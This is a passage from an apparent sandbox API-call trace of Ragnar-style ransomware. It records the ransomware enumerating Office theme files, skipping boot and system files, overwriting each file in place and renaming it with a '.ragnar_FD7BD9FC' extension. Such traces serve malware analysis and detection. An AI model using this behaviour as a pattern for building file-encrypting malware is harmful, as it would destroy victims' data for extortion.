Office\\Document Themes 14\\Theme Effects\\Grid.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.021] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1 [0094.021] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.021] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Hardcover.eftx" | out: lpString1="Hardcover.eftx") returned="Hardcover.eftx" [0094.021] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned=".eftx" [0094.021] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.021] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="autorun.inf") returned 1 [0094.021] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="boot.ini") returned 1 [0094.021] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="bootfont.bin") returned 1 [0094.021] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="bootsect.bak") returned 1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="bootmgr") returned 1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="bootmgr.efi") returned 1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="bootmgfw.efi") returned 1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="desktop.ini") returned 1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="iconcache.db") returned -1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="ntldr") returned -1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="ntuser.dat") returned -1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="ntuser.dat.log") returned -1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="ntuser.ini") returned -1 [0094.022] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="thumbs.db") returned -1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.022] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0094.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.023] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=350689) returned 1 [0094.023] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x559d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.023] GetProcessHeap () returned 0x580000 [0094.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.023] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.025] VirtualAlloc (lpAddress=0x0, dwSize=0x559e1, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0094.025] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.025] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.025] ReadFile (in: hFile=0x98, lpBuffer=0x480000, nNumberOfBytesToRead=0x559e1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1eaf34*=0x559e1, lpOverlapped=0x0) returned 1 [0094.032] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.033] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x559e1, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.033] WriteFile (in: hFile=0x98, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x559e1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1eaf30*=0x559e1, lpOverlapped=0x0) returned 1 [0094.034] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x559e1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.034] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.036] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x559e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.036] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.036] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.036] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.036] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.036] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.036] GetProcessHeap () returned 0x580000 [0094.036] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.037] CloseHandle (hObject=0x98) returned 1 [0094.037] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" [0094.037] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.ragnar_FD7BD9FC" [0094.037] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.040] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1 [0094.040] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.040] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Horizon.eftx" | out: lpString1="Horizon.eftx") returned="Horizon.eftx" [0094.040] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned=".eftx" [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="autorun.inf") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="boot.ini") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="bootfont.bin") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="bootsect.bak") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="bootmgr") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="bootmgr.efi") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="bootmgfw.efi") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="desktop.ini") returned 1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="iconcache.db") returned -1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="ntldr") returned -1 [0094.040] lstrcmpiW (lpString1="Horizon.eftx", lpString2="ntuser.dat") returned -1 [0094.041] lstrcmpiW (lpString1="Horizon.eftx", lpString2="ntuser.dat.log") returned -1 [0094.041] lstrcmpiW (lpString1="Horizon.eftx", lpString2="ntuser.ini") returned -1 [0094.041] lstrcmpiW (lpString1="Horizon.eftx", lpString2="thumbs.db") returned -1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.041] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0094.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.042] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=211090) returned 1 [0094.042] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x33889, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.042] GetProcessHeap () returned 0x580000 [0094.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.042] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.043] VirtualAlloc (lpAddress=0x0, dwSize=0x33892, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.044] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.044] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.044] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x33892, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x33892, lpOverlapped=0x0) returned 1 [0094.048] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.049] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x33892, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.049] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x33892, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x33892, lpOverlapped=0x0) returned 1 [0094.050] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x33892, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.050] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.051] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x33892, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.051] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.051] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.051] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.051] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.051] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.051] GetProcessHeap () returned 0x580000 [0094.051] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.051] CloseHandle (hObject=0x98) returned 1 [0094.051] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" [0094.051] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.ragnar_FD7BD9FC" [0094.051] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.052] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1 [0094.052] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.052] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Median.eftx" | out: lpString1="Median.eftx") returned="Median.eftx" [0094.052] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned=".eftx" [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="autorun.inf") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="boot.ini") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="bootfont.bin") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="bootsect.bak") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="bootmgr") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="bootmgr.efi") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="bootmgfw.efi") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="desktop.ini") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="iconcache.db") returned 1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="ntldr") returned -1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="ntuser.dat") returned -1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="ntuser.dat.log") returned -1 [0094.052] lstrcmpiW (lpString1="Median.eftx", lpString2="ntuser.ini") returned -1 [0094.053] lstrcmpiW (lpString1="Median.eftx", lpString2="thumbs.db") returned -1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.053] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0094.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.054] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39546) returned 1 [0094.054] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x9a71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.054] GetProcessHeap () returned 0x580000 [0094.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.054] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.055] VirtualAlloc (lpAddress=0x0, dwSize=0x9a7a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.056] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.056] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.056] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9a7a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9a7a, lpOverlapped=0x0) returned 1 [0094.057] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.057] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a7a, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.057] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9a7a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9a7a, lpOverlapped=0x0) returned 1 [0094.058] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a7a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.058] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.058] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x9a7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.058] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.058] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.058] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.058] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.058] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.058] GetProcessHeap () returned 0x580000 [0094.058] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.058] CloseHandle (hObject=0x98) returned 1 [0094.058] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" [0094.058] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.ragnar_FD7BD9FC" [0094.059] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.059] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1 [0094.059] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: 